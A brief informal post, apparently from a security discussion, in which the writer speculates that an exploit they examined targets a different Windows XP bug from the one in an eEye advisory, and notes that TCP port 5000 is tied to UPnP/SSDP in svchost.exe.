iv'e been poking at the exploit, and from what i can see, this is NOT for the eeye advisory, perhaps another bug, but i don't have an xp machine here to do any type of analysis on this, so it is hard t say what it will do. This may even be a similar/same bug however, and somone found a different way of attacking it. port 5000 TCP is also involved in the upnp/SSDP protcol, and is hosted in svchost.exe, so until further analysis is done, little more can be said.
